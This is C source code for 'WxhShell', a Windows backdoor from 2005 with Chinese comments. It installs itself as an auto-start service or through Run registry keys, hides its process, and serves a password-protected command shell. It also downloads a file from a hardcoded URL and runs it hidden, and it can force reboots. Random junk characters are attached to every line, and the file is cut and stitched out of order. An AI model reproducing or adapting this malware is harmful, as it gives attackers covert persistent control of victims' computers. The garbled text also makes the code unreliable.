ULONG UniqueProcessId; 'MY0v_
ULONG InheritedFromUniqueProcessId; vZ/Bzy@|
} PROCESS_BASIC_INFORMATION; a?ux
>`=<(8bu
PROCNTQSIP NtQueryInformationProcess; oeIza<:=R
o=y0=,:a?9
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _"688u'88
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :|PgGhW
|%c"Avc
HANDLE hProcess; WHKe\8zWq
PROCESS_BASIC_INFORMATION pbi;
k;xIo(:
x{#W84
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k{-#2Qz
if(NULL == hInst ) return 0; PQA}_o
6PdLJ#LS
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xfADks2w
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :*dfP/GO
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kP,^c{
Xjs`iK=w
if (!NtQueryInformationProcess) return 0; mB<*we
?$Jj^/luD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RA$q{$arb
if(!hProcess) return 0; ~3,k8C"pRq
mo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w
Gx/kel[Y}
CloseHandle(hProcess); Dwg_#GSr
\:D"#s%x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u;3wg`e
if(hProcess==NULL) return 0; )0N^rw kW
A#KfG1K>
HMODULE hMod; W~qVZ(G*U
char procName[255]; \zM3{{mV/
unsigned long cbNeeded; ds;c\x
/YHAU5N/}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VL2+"<
^&Wa?
m.
CloseHandle(hProcess); O#72h]
A8U\/GP
if(strstr(procName,"services")) return 1; // 以服务启动 E2u9>m4_J
1yV+~)by3
return 0; // 注册表启动 pUD(5v*0R
} f S-PM3
iM(Q-%HP_
// 主模块 TAp8x
int StartWxhshell(LPSTR lpCmdLine) ]mT2a8`c.r
{ \_l4li
SOCKET wsl; Ze"m;T
BOOL val=TRUE; @e:=
D
int port=0; /lDei}
struct sockaddr_in door; @M&qH[tK-A
C q)Cwc[H
if(wscfg.ws_autoins) Install(); ckdXla
4c9a"v
port=atoi(lpCmdLine); _(:<l
YaY
6'45c1e
if(port<=0) port=wscfg.ws_port; WO!'("
iph}!3f
WSADATA data; 8KMo !p\i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t+Au6/Dx?
|*n
B2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ,Vfjt=6]}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )];Bo.QA
door.sin_family = AF_INET; *"Uf|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); L6Io u
door.sin_port = htons(port); W*r1Sy
&(X 67
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +sT S1t
closesocket(wsl); )18C(V-x
return 1; ToX--w4
} Jp"yb`w
o1Nfn'!3/>
if(listen(wsl,2) == INVALID_SOCKET) { LDh,!5G-M
closesocket(wsl); }*?,&9/_)
return 1; 9Yd"Y-
} `lA_knS
Wxhshell(wsl); :JIJ!Xn)
WSACleanup(); >PK 6CR
u\Y3h:@u
return 0; H*HL:o-[
SZ1yy["
} W5,&*mo
t-Uo
// 以NT服务方式启动 TyY%<NCIb
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7KL@[
{ Zygu/M6
DWORD status = 0; 6u>]-K5
DWORD specificError = 0xfffffff; K.Tob,5`
{"c`k4R
serviceStatus.dwServiceType = SERVICE_WIN32; 6/6{69tnr
serviceStatus.dwCurrentState = SERVICE_START_PENDING; otbr8&?-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nzU;Bi^m
serviceStatus.dwWin32ExitCode = 0; j]C}S*`"
serviceStatus.dwServiceSpecificExitCode = 0; 'P)c'uqd#
serviceStatus.dwCheckPoint = 0; X& mD/1
serviceStatus.dwWaitHint = 0; H3LuRGe&2
b|e1HCH
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9,[AfI
if (hServiceStatusHandle==0) return; {5]c\_.
72 ZoN<c
status = GetLastError(); h"7~`!"~
if (status!=NO_ERROR) XK&G `cJ[
{ 4W#DLip9
serviceStatus.dwCurrentState = SERVICE_STOPPED; +{0v@6<(02
serviceStatus.dwCheckPoint = 0; >&ENrvaJ
serviceStatus.dwWaitHint = 0; 0f#xyS 3
serviceStatus.dwWin32ExitCode = status; ?Wc+
J4
serviceStatus.dwServiceSpecificExitCode = specificError; [kf6bf@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^.9DfA0
return; ?j&ZzK'#^
} |A\o
Eq|5PE^7
serviceStatus.dwCurrentState = SERVICE_RUNNING; }N&?8s=
serviceStatus.dwCheckPoint = 0; ?|~KF:,#}
serviceStatus.dwWaitHint = 0;
z69u@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cn: L]%<
} 60 %VG
q%LjOPE
V
// 处理NT服务事件,比如:启动、停止 [*M':
VOID WINAPI NTServiceHandler(DWORD fdwControl) BA[ uO3\4
{ #p
;O3E@
switch(fdwControl) #\
uB!;Q
{ 4n"6<cO5q
case SERVICE_CONTROL_STOP: 6-z(34&N
serviceStatus.dwWin32ExitCode = 0; bgxk:$E
serviceStatus.dwCurrentState = SERVICE_STOPPED; `<{LW>Lb
serviceStatus.dwCheckPoint = 0; "
sC]z}
serviceStatus.dwWaitHint = 0; />N# PF
{ EJ(36h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); J/IRCjQ}
} 8L+A&^qx
return; y^z
c@f
case SERVICE_CONTROL_PAUSE: 1nw\?r2
serviceStatus.dwCurrentState = SERVICE_PAUSED; NcBz("
break; 4/%Y@Z5
case SERVICE_CONTROL_CONTINUE: nRvaCAt^
serviceStatus.dwCurrentState = SERVICE_RUNNING; $6(a6!
break; E]v?:!!ds
case SERVICE_CONTROL_INTERROGATE: mx#%oJnsi
break; S*gm[ZLQ
}; 9c%CCZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \t5_V)P
} e{9~m
\B^NdG5Y
// 标准应用程序主函数 M4D @G
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OE}FZCXF
{ xZ6x`BET-
uq;yR[w"
// 获取操作系统版本 RL$%Vy0
OsIsNt=GetOsVer(); g/_0WW] }
GetModuleFileName(NULL,ExeFile,MAX_PATH); )E}@h%d
k>\v]&|T`
// 从命令行安装 qZ4))X
if(strpbrk(lpCmdLine,"iI")) Install(); >JAWcT)d
&_u.q/~
// 下载执行文件 a#k7 aOT0
if(wscfg.ws_downexe) { ,i1BoG
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &=MVX>[
WinExec(wscfg.ws_filenam,SW_HIDE); N:+)6a
} I)yF!E &
@%G?Nht]o
if(!OsIsNt) { w$Fg0JS
// 如果时win9x,隐藏进程并且设置为注册表启动 X&kp1Ih<^
HideProc(); PXqG;o*Q*?
StartWxhshell(lpCmdLine); jFJ}sX9]
} <_ENC>NP
else iPkCuLQ}
if(StartFromService()) uT'l.*W6i
// 以服务方式启动 >:4`y"0
StartServiceCtrlDispatcher(DispatchTable); e#,(a
else C<3<,~gI
// 普通方式启动 #UhH
StartWxhshell(lpCmdLine); .#-F@0a
Rk[a|T &
return 0; L~^5Ez6U
} q2s0g*z
E3l*_b0
":vEWp+g
7RWgc]@?>
=========================================== El@*Fo
Gw\..O
A*wf:
mW0c
NPrLM5
<e?Eva%t`
8Y.9%@
" $XTtD UP@
jz![#-G
#include <stdio.h> WubV?NX;EF
#include <string.h> yW(|auq
#include <windows.h> !yxqOT-
#include <winsock2.h> ~bCA8
#include <winsvc.h> C l,vBjl h
#include <urlmon.h> R"9wVM;*c
XL^05
#pragma comment (lib, "Ws2_32.lib") vXRY/Zzj1
#pragma comment (lib, "urlmon.lib") KyfH8Na?
6o7t eX
#define MAX_USER 100 // 最大客户端连接数 S,nELV~!
#define BUF_SOCK 200 // sock buffer )-emSV0zE
#define KEY_BUFF 255 // 输入 buffer ]/H6%"CTa
/KX+'@
#define REBOOT 0 // 重启 * 70ZAo4
#define SHUTDOWN 1 // 关机 >Rd~-w)!|
,aLwOmO
#define DEF_PORT 5000 // 监听端口 )0iN2L]U;
.1jiANY
#define REG_LEN 16 // 注册表键长度 "GQ Q8rQ
#define SVC_LEN 80 // NT服务名长度 %^HE^ &
fO&`A:JY
// 从dll定义API y:}qoT_.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TKv!wKI
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a!E22k?((z
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *$W&jfW
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UUlz3"`
@anjjC5a~
// wxhshell配置信息 &v0-$
struct WSCFG { m;]wKd"
int ws_port; // 监听端口 CpmT*
char ws_passstr[REG_LEN]; // 口令 %ACW"2#(
int ws_autoins; // 安装标记, 1=yes 0=no m|B=
char ws_regname[REG_LEN]; // 注册表键名 *
l1*zaE
char ws_svcname[REG_LEN]; // 服务名 ;_)~h$1%=
char ws_svcdisp[SVC_LEN]; // 服务显示名 3g;,
char ws_svcdesc[SVC_LEN]; // 服务描述信息 +Gt9!x}#e
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1QG q;6\
int ws_downexe; // 下载执行标记, 1=yes 0=no ]FZPgO'G
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y'`/^>.
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '2*OrY
8zD>t~N2C
}; !43!JfD
l^9gFp~I
// default Wxhshell configuration NBY|U{.g
struct WSCFG wscfg={DEF_PORT, X<}}DZSu a
"xuhuanlingzhe", Ly+UY.v"
1, _E`+0;O
"Wxhshell", v62_VT2v
"Wxhshell", Ze eV-
"WxhShell Service", 0H}tb}4
"Wrsky Windows CmdShell Service", JiaR*3#
"Please Input Your Password: ", #~|k EGt
1, P,{Q k~iu
"http://www.wrsky.com/wxhshell.exe", PY.K_(D
"Wxhshell.exe" hOUH1m.
}; 'UIFP#GtFO
*G>
x07S)~
// 消息定义模块 #@$80eFq
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *uhQP47B
char *msg_ws_prompt="\n\r? for help\n\r#>"; p35=CX`T.
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5'I+%66?h$
char *msg_ws_ext="\n\rExit."; Giv,%3'
char *msg_ws_end="\n\rQuit."; %7 bd}sJ#
char *msg_ws_boot="\n\rReboot..."; su1lv#
char *msg_ws_poff="\n\rShutdown..."; p)yP_P
char *msg_ws_down="\n\rSave to "; heCM+=#~
1N8] ~j
char *msg_ws_err="\n\rErr!"; P3&s<mh
char *msg_ws_ok="\n\rOK!"; #5@(^N5p`
d#rr7O
char ExeFile[MAX_PATH]; fd&Fn=!
int nUser = 0; q()o|V
HANDLE handles[MAX_USER]; T,pr&1]Lw
int OsIsNt; `Npa/Q
xo_STLAw
SERVICE_STATUS serviceStatus; rMDvnF
SERVICE_STATUS_HANDLE hServiceStatusHandle; rF-SvSj}
*#mmk1`
// 函数声明 (BVqmi{
int Install(void); 9efDM
int Uninstall(void); &-yRa45?
int DownloadFile(char *sURL, SOCKET wsh); K
{'
atc
int Boot(int flag); p|-MwCeH
void HideProc(void); SN}K=)KF#
int GetOsVer(void); mrP48#Y+l
int Wxhshell(SOCKET wsl); S{+t>en
void TalkWithClient(void *cs); x|0C0a\"A
int CmdShell(SOCKET sock); 2`$*HPj+G
int StartFromService(void); gT+g@\u[
int StartWxhshell(LPSTR lpCmdLine); a|7C6#iz$
2d[q5p
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L/tpT?$fi
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?$f.[;mh
4H-eFs%5
// 数据结构和表定义 yxt"vm;
SERVICE_TABLE_ENTRY DispatchTable[] = L@S\ rImw
{ <T}U 3lL^
{wscfg.ws_svcname, NTServiceMain}, L7C ;l,ot
{NULL, NULL} s|Mo3_>
}; |u>(~6
x.+T65X~4
// 自我安装 %R c#/y
int Install(void) JY,$B-l
{ 1&=)Bxg4
char svExeFile[MAX_PATH]; Ek)drt7cy
HKEY key; t{]Ew4Y4%O
strcpy(svExeFile,ExeFile); U6M~N0)Yr
Ib# -M;{
// 如果是win9x系统,修改注册表设为自启动 bej(Ds0
if(!OsIsNt) { ]->"4,}
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S;% &X
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,<Q
RegCloseKey(key); pWV_KS
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d?*]/ZiR
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PEf yHf7`
RegCloseKey(key); loVg{N:
return 0; Fc5.?X-
} X,k^p[Rcu
} $gUlM+sK
} |H?t+Dyn)q
else { _Vr- bpAf
+ `|A/w
// 如果是NT以上系统,安装为系统服务 s:3[#&PQpN
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o9eOp3w30
if (schSCManager!=0) [I
*_0
{ |(>`qL{|
SC_HANDLE schService = CreateService QoZV6
( lmeTW0U@9(
schSCManager, tAAMSb9[d
wscfg.ws_svcname, b)d;eS
wscfg.ws_svcdisp, BDI|z/~&
SERVICE_ALL_ACCESS, [H}>
2Q
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {<,%_pJR
SERVICE_AUTO_START, r].n=455[
SERVICE_ERROR_NORMAL, ~7PD/dre
svExeFile, :V'99Esv`
NULL, "v1{
NULL, 5kiW@{m
NULL, <w2h@ea
NULL, }=-0DSLVj
NULL '=_(fa,
); FiUQ2w4
if (schService!=0) ~[ufL25K
{ B0@
Tz39=
CloseServiceHandle(schService); e|]e\Or>
CloseServiceHandle(schSCManager); XGl2rX&
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W+ S~__K
strcat(svExeFile,wscfg.ws_svcname); +S4n416K
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s;VW
%e
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r2=@1=?8
RegCloseKey(key); )5}<@Ql
return 0; V`I4"}M1
} 7}kJp%-
} ! ?g+'OM
CloseServiceHandle(schSCManager); ix!xLm9\
} m/=nz.
} A=N$5ZJ
r<vMp'u
return 1; #t
;`
} ]fM|cN8(zM
m;@q('O
// 自我卸载 :PO./IBX
int Uninstall(void) =
lo.LFV
{ %(YQ)=w
HKEY key; `Lr], >aG
/|?$C7%a\D
if(!OsIsNt) { h&0zR#t
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cC/h7odY
RegDeleteValue(key,wscfg.ws_regname); PgkU~68`
RegCloseKey(key); Ob$``31{s
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w(oK
RegDeleteValue(key,wscfg.ws_regname); WNyW1?"
RegCloseKey(key); [}L~zn6>?a
return 0; HRf;bKZ
} r: K1PO
} }+@9[Q
L
} MAek856
else { o "VKAP
d[a(uWEl
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J,Sa7jv[
if (schSCManager!=0) #3&@FzD_P
{ =CLPz8
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "hk#pQ
if (schService!=0) e*:K79y
{ | v!N1+v0
if(DeleteService(schService)!=0) { QOWGQl%!
CloseServiceHandle(schService); Bj@>iw?g'
CloseServiceHandle(schSCManager); $.`o
return 0; ER"69zQg|2
} ofy"SM
CloseServiceHandle(schService); CWdsOS=
} T fLqxioqZ
CloseServiceHandle(schSCManager); J"r?F0
} (D>_O$o
} ~i.*fL_Y
<],{at` v
return 1; H>TO8;5(
} @](vFb
!T0I; j&
// 从指定url下载文件 6K.2VY#
int DownloadFile(char *sURL, SOCKET wsh) As,`($=
{ JS/'0.
HRESULT hr; fL*7u\m:
char seps[]= "/"; N5?bflY
char *token; ^k6_j\5j
char *file; ?ko#N?hgI
char myURL[MAX_PATH]; D3o,2E(o
char myFILE[MAX_PATH]; > 80{n8
/!5Wd(:
strcpy(myURL,sURL); ] ?DU8
token=strtok(myURL,seps); m{q'RAw
while(token!=NULL) (:l6R9'=
{ 82LE9<4A
file=token; noWF0+%
token=strtok(NULL,seps); eRMN=qP.q
} ^j}C]cq{Xg
F-m%d@P&X
GetCurrentDirectory(MAX_PATH,myFILE); :kgh~mx5LF
strcat(myFILE, "\\"); F6\{gQ<E
strcat(myFILE, file); d( v"{N}
send(wsh,myFILE,strlen(myFILE),0); Q|_F
P:
send(wsh,"...",3,0); ~]KdsT(=_
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); digc7;8L
if(hr==S_OK) im>(^{{r&
return 0; Vl_6nY;
else gFaZ ._
return 1; D$ds[if$U,
7H Har'=T
} o}AXp@cqi
!^arWH[od
// 系统电源模块 F-,gj{s
int Boot(int flag) khy'Y&\F;
{ NW\CEJV
HANDLE hToken; 5H3o?x
TOKEN_PRIVILEGES tkp; w'@gzK
X$kLBG[o_
if(OsIsNt) { ~~>m
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !5*VBE\
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p4VARAqi
tkp.PrivilegeCount = 1; I*rUe#$
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kvbZx{s
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !JCs'?A
if(flag==REBOOT) { 7By7F:[ b
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?|M-0{
return 0; v-8>@s jy8
} OUulG16kK
else { x1gS^9MqCB
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %2 r~
return 0; Myc-lCE
} P+CV4;Xz
} rNN>tpZ}
else { 8Ths"zwn
if(flag==REBOOT) { 5:@bNNX'j
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?mH=3
:~
return 0; Y:\msq1xp
} mEY#QN[eq
else { pBqf+}g4
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s<